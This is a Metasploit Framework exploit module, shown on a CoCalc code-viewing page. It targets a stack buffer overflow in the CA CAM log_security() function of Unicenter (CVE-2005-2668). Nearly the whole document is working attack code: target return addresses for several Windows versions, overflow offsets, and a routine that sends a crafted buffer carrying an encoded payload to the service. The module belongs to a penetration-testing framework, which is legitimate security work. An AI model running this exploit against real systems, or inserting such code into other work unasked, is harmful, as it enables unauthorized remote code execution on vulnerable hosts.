Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/unicenter/cam_log_security.rb
31199 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
16
'Description' => %q{
17
This module exploits a vulnerability in the CA CAM service
18
by passing a long parameter to the log_security() function.
19
The CAM service is part of TNG Unicenter. This module has
20
been tested on Unicenter v3.1.
21
},
22
'Author' => [ 'hdm' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
['CVE', '2005-2668'],
26
['OSVDB', '18916'],
27
['BID', '14622'],
28
],
29
'Privileged' => true,
30
'Payload' => {
31
'Space' => 1024,
32
'BadChars' => "\x00",
33
'StackAdjustment' => -3500
34
},
35
'Targets' => [
36
# W2API.DLL @ 0x01950000 - return to ESI
37
['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],
38
39
# Return to ESI in ws2help.dll
40
['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
41
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
42
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
43
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
44
],
45
'DisclosureDate' => '2005-08-22',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
end
55
56
def check
57
connect
58
ack = sock.get_once || ''
59
disconnect
60
61
(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
62
end
63
64
def exploit
65
connect
66
67
ack = sock.get_once
68
if (ack != "ACK\x00")
69
print_status('The CAM service is not responding')
70
end
71
72
buf = rand_text_english(4096, payload_badchars)
73
74
# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
75
buf[1016, 4] = [target.ret].pack('V')
76
buf[1052, payload.encoded.length] = payload.encoded
77
78
sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
79
80
handler
81
disconnect
82
end
83
end
84
85